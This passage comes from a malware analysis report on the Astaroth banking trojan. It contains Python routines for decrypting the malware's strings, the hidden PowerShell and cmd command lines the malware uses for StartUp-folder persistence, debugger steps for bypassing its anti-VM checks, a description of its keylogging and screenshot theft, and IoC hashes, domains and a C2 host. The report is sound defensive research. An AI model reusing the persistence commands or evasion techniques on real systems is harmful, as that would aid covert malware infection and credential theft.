	n1 = int(src[index-2:index], 16)
	n2 = int(src[index:index+2], 16)
	res = n2 ^ (ord(key[i % len(key)]))
	i = i + 1
	if res <= n1:
		res = res + 0xFF - n1
	else:
		res = res - n1
	enc_1 += format(res, '02X')
	index += 2

print(enc_1)

In the second decryption stage, the previous result is reversed always considering string as couples of characters. Thus, in our example we obtain "B3C0B9BFB3C0B8C2B4C0BEBFC5BFC2BFC2BFBDBFC4BFBBBFB4" after the first stage decryption, now we must consider a list as follow: ['B4', 'BF', 'BB', 'BF', 'C4', 'BF', 'BD', 'BF', 'C2', 'BF', 'C2', 'BF', 'C5', 'BF', 'BE', 'C0', 'B4', 'C2', 'B8', 'C0', 'B3', 'BF', 'B9', 'C0', 'B3']. Each item was subtracted of 0xA and its value replaced with a bitwise NOT and then applies a bitwise AND with 0xFF to ensure that only the lower 8 bits are kept.

split_bytes_1 = [enc_1[i:i+2] for i in range(0, len(enc_1), 2)]
rev = list(reversed(split_bytes_1))
size = len(rev)

enc_2 = ""
index = 0
i = 1
while index < size:
	res = int(rev[i - 1], 16) - 0xA
	res = ~ res
	res &= 0xFF
	enc_2 += format(res, '02X')
	i = i + 1
	index = index + 1

print(enc_2)

The second decryption stage is concluded with a different string "UJNJEJLJGJGJDJKIUGQIVJPIV", sent as input for the next and last decryption stage. This string is composed by the encoded utf-16 of the resulting bytes.

In this step, the key is selected by the first character subtracting with the constant 0x41. Also here, as the first decryption stage, the decryption proceeds using a couple of relative bytes.

split_bytes_2 = [enc_2[i:i+2] for i in range(0, len(enc_2), 2)]
enc_2 = ''.join([chr(int(i, 16)) for i in split_bytes_2])

index = 0
key = ord(enc_2[0]) - 0x41
decrypted = ""

while(index < len(enc_2) - 2):
	elem = ord(enc_2[index+1])
	new_elem = (elem - 0x41) * 0x19
	elem_2 = ord(enc_2[index+2])
	new_elem_2 = (elem_2-0x41)
	new_elem = new_elem + new_elem_2 - key - 0x64

	decrypted += chr(new_elem)

	index += 2

print(decrypted)

The Astaroth payload contains a lot of encrypted strings. They can be found in URLs, files, and others.

Persistence

Astaroth drops a link file in the StartUp user folder inside Start menu (T1547.001) to guarantee persistence. The file creation is made in an unconventional way avoiding using standard Windows API. Here, threat implements the first anti-detection mechanism checking AVG and Avast antimalware before installing the persistence.

2.png

"C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sysupdates.setup20433fae0358.lnk"

The link reruns from the AutoIt3 stage executing the following command line, spawning always a regsvcs.exe process:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -Command C:\TempData27737752820\Eurocom.Precision.01581.6964.246.exe C:\TempData27737752820\Eurocom.Precision.01581.6964.246.log

3.png

If there is AVG or Avast Antivirus, it creates a different destination LNK using cmd instead of Powershell.

cmd /c "start /MIN C:\TempData27737752820\Eurocom.Precision.01581.6964.246.exe C:\TempData27737752820\Eurocom.Precision.01581.6964.246.log > nul"

Analyze dynamically using debugging switching - Part 2

This section describes the steps required to make debugging between the 4th and the 5th stages. The tool x32dbg is exclusively used, but we suggest being supported by IDA's pseudocode to better orient yourself in the assembly code. The main difficulty here is to bypass the anti-vm detection, discussed before.

  1. Use a new x32dbg instance to attach regsvcs.exe process.
  2. To find easily the "antianalysis" function, we can search the hardcoded string "85657F0A8F7F750094049A565021D5AA3CA039DEE6A7", one of them used inside and extracted by IDA's pseudocode.

new.png

  1. Search string in memory with "Find Pattern", changing the type of encoding "UTF16" by "Codepage" button. Open the result in dump tab.

new_2.png

  1. Now, go into the memory map, identify the first segment at 0x00400000 and open it in disassembler. This segment has been allocated during the previous hollowing process. This step is required to be sure the following operation will be in the correct module code.
  2. Select the first address shown in dump and click on "Find References" of the result previously found in 3, the result should be only one address and its code can be shown by "follow it in the disassembler".
  3. Put the breakpoint on the "decode" routine, preceding the selected line in the disassembly shown below.

images/image64.png

  1. The process can now be resumed from the other x32dbg instance (AutoIt3.exe) blocked from step 6 of part 1.
  2. Continue running, skip eventual exception until the breakpoint set in step 6 to the selected decode routine.
  3. To bypass evasion methods, run "until return" and edit the returned value from the previous routine (lowest bytes of EAX).

images/image65.png

  1. Regsvcs.exe does not terminate. Next breakpoint in AutoIt3.exe process will not hit anymore.

Stealing

We noticed the malware's capability to pilfer various cryptocurrency and bitcoin exchange credentials, expanding beyond its typical focus on banks. Astaroth incorporates code to surveil the active window, particularly targeting popular browsers. When the malware detects an open window for a monitored bank, it has the capability to record keystrokes and take screenshots in the vicinity of the mouse pointer upon user clicks.

images/image66.png

images/image67.png

IoCs

Hashes

ZIP

  • 0BA9448EB5978951C8C56C41CC96A4DAFDCCF0E50E2853F187B1DEAC99407CCF
  • 8286AF35C8EAD7B512EC2278DAC3038F8F5CFB24E07FF50D8CCD35DE18E20444

LNK

  • 27184C1CD626C8DB566FE70668591F1768480130D1DB3668658FEDA2878EBE2C
  • 21C62CE420C156147C40A6D196F789A982514F4A31332AC994E37CB2A072D6DD
  • C08ABD4B1CB19220BC2F01B7F46DA8EDA9CA08DC7FF888A83B72BB6E8D02656A
  • 461870CFB645F0890A4A1EC5480A4C088969726DA96E30C95AC210AE868109DA

AutoIt3.exe

  • 237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D

SDK.LOG

  • C9451F6E9BE46F3417CD7C2DCE5200E93389F0E48EB19091A256B2DAAF53F779

Stage4.dll

  • FD71D7A2C5C08A2379EC2B1FA030577309CEEF742024AEF16C93C686EDDD7724

Domains

hwa5c[.]nextmax[.]my[.]id

yaiinr[.]actiongroup[.]my[.]id

k8aiww[.]journeyedge[.]my[.]id

p8atj[.]opportunityvalue[.]biz[.]id

C2s

1[.]cp[.]sa[.]ngrok[.]io

Samples

MalwareBazaar | Astaroth (abuse.ch)

About the Authors

πŸ™‹πŸ»β€β™‚οΈ MASCIULLO LORENZO Certified SOC Analyst (CSA) e Certified Red Team Professional - Microsoft Active Directory Attack-Defense (CRTP). Cyber Security Analyst at Deda Cloud. I have always had a great curiosity for IT and technology and during my studies I was fascinated by the world of cyber security and in particular computer forensics and reverse engineering.

Lorenzo Masciullo | LinkedIn

πŸ™‹πŸ»β€β™‚οΈ LODARI GIANMARCO Mosse MRE (Certified Reverse Engineer), SANS GREM (GIAC Reverse Engineering Malware Certification), CCNA (Cisco Certified Network Associate) Cyber Security Analyst at Deda Cloud. I have always been fascinated by technology and I have developed a great interest in software development, particularly in low-level programming languages and compilers. My passion for cybersecurity is focused on binary exploitation and reverse engineering.

Gianmarco Lodari | LinkedIn

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published